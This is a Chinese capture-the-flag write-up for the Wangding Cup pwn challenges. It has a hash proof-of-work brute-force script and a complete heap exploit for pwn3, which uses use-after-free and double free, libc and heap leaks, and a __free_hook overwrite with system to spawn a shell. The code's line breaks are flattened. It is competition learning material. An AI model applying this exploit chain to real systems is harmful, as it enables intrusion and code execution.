ctf|网鼎杯玄武pwn(第四场)

pwn1 就是爆破一下,记下来以后接着用

from pwn import * p = remote('182.92.212.76', 31204) p.recvuntil('x[:20] = ') target = p.recvuntil('\n',True) p.recvuntil('',True) funtable = { "sha224":hashlib.sha224, "md5":hashlib.md5, "sha384":hashlib.sha384, "sha512":hashlib.sha512, "sha256":hashlib.sha256, "sha1":hashlib.sha1,} print(x) print(target.replace('\n',''))succ = False for i in string.printable: if succ: break for j in string.printable: if succ: break for k in string.printable: if succ: break for m in string.printable: if succ: break if funtable[x](i+j+k+m).hexdigest()[:20]==target: print(i+j+k+m) succ = True p.sendline(i+j+k+m) # p.sendlineafter('token','icq31ed04e8a71a59659a2d4c3cd553f')p.interactive()

pwn3 花了一整天终于搞出来了
分析
  • add的时候有一些逻辑漏洞
    ctf|网鼎杯玄武pwn(第四场)
    文章图片

    当输入3的时候会申请一个0x20的chunk(做笔记:malloc(0)会得到0x20的chunk)
  • free的时候指针没有清零,没有校验,存在uaf和double free
    ctf|网鼎杯玄武pwn(第四场)
    文章图片
  • show和edit只能输出和编辑一次,free过的不能edit
利用方法 泄露 unsorted bin双链会有可以泄露出来libc地址和堆地址
需要注意的一点是这里是add(3,"")#3 这样后面的double free会用到(要不然会不能在14次malloc之内拿到shell)。
这里发送的字符串是\x0a 为了泄露的准确
add(1,"")#00 add(1,"")#11 add(1,"")#2`2 add(3,"")#33 delete(0) delete(2) add(1,"")#40 show(4)

任意地址写 这里的chunk是有两层的,利用double free申请到刚开始申请13次chunk的的空间,但是这时候只能写8个字节,我写入了一个size(0x21),为了下一次double free做准备。
第二次double free就能修改一个指针了
add(3,"")#5 delete(5) delete(3) delete(5) # # print("13_1 heap "+hex(heap_base-0x1170-0x40)) add(3,p64(heap_base-0x1170-0x40))#6 add(3,p64(heap_base-0x1170-0x40))#7 add(3,p64(heap_base-0x1170-0x40))#8 add(3,p64(0x21))#9 # # # edit(3,"a"*0x100) delete(5) delete(3) delete(5) add(3,p64(heap_base-0x1170+8-0x40))#10 add(3,p64(heap_base-0x1170+8-0x40))#11 add(3,"/bin/sh\x00")#12

ctf|网鼎杯玄武pwn(第四场)
文章图片

第一次double free在13个chunk的索引为1的位置处指向空间的size部分写入了0x21
第二次double free用上一次的size为跳板写入了free_hook的地址
这里的size有两重作用,第一重作为跳板,double free能获取到空间,第二重作为一个size在edit的时候可以使用。
获取shell 【ctf|网鼎杯玄武pwn(第四场)】复写__free_hook函数拿到shell
add(3,"/bin/sh\x00")#12one=[0x45216,0x4526a,0xf02a4,0xf1147] print("hook_malloc = "+hex(libc_addr+libc.symbols["__free_hook"])) add(3,p64(libc_addr+libc.symbols["__free_hook"]))#13 gdb.attach(p)edit(1,p64(libc_addr+libc.symbols["system"])) # gdb.attach(p)p.sendlineafter("Your choice:", "2") p.sendlineafter("Index of country:", str(12))p.interactive()

exp
from pwn import * context.log_level="debug" p=process("./pwn") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")# 10xa02 0x80 def add(endin,content): p.recvuntil("choice:\n") p.sendline("1")#1 lagre p.sendlineafter("choice:\n",str(endin)) p.sendlineafter("The 'Patient Zero' lives in:\n",content) p.recvuntil("Done.")def delete(index): p.sendlineafter("Your choice:","2") p.sendlineafter("Index of country:",str(index)) p.recvuntil("Done.")def edit(index,content): p.sendlineafter("Your choice:", "3") p.sendlineafter("Index of country:\n", str(index)) p.sendlineafter("Which cities to break out in?", content)def show(index): p.sendlineafter("Your choice:", "4") p.sendlineafter("Index of country:",str(index)) p.recvuntil("Current status:\x0a")# 0xb0,0x90,0x10offset_lib=0x3c4b0a offset_heap=0x160#chunk 0 add(1,"")#00 add(1,"")#11 add(1,"")#2`2 add(3,"")#33 delete(0) delete(2) add(1,"")#40 show(4) aa=p.recv(8) bb=p.recv(8) libc_addr=u64(aa)-offset_lib print("libc base = "+hex(libc_addr)) heap_base=u64(bb)-offset_heap print("heap_base = "+hex(heap_base))# add(3,"\x91")#5 add(3,"")#5 delete(5) delete(3) delete(5) # # print("13_1 heap "+hex(heap_base-0x1170-0x40)) add(3,p64(heap_base-0x1170-0x40))#6 add(3,p64(heap_base-0x1170-0x40))#7 add(3,p64(heap_base-0x1170-0x40))#8 add(3,p64(0x21))#9 # # # edit(3,"a"*0x100) delete(5) delete(3) delete(5) add(3,p64(heap_base-0x1170+8-0x40))#10 add(3,p64(heap_base-0x1170+8-0x40))#11 add(3,"/bin/sh\x00")#12 one=[0x45216,0x4526a,0xf02a4,0xf1147] print("hook_malloc = "+hex(libc_addr+libc.symbols["__free_hook"])) add(3,p64(libc_addr+libc.symbols["__free_hook"]))#13edit(1,p64(libc_addr+libc.symbols["system"])) # gdb.attach(p)p.sendlineafter("Your choice:", "2") p.sendlineafter("Index of country:", str(12))p.interactive()

    推荐阅读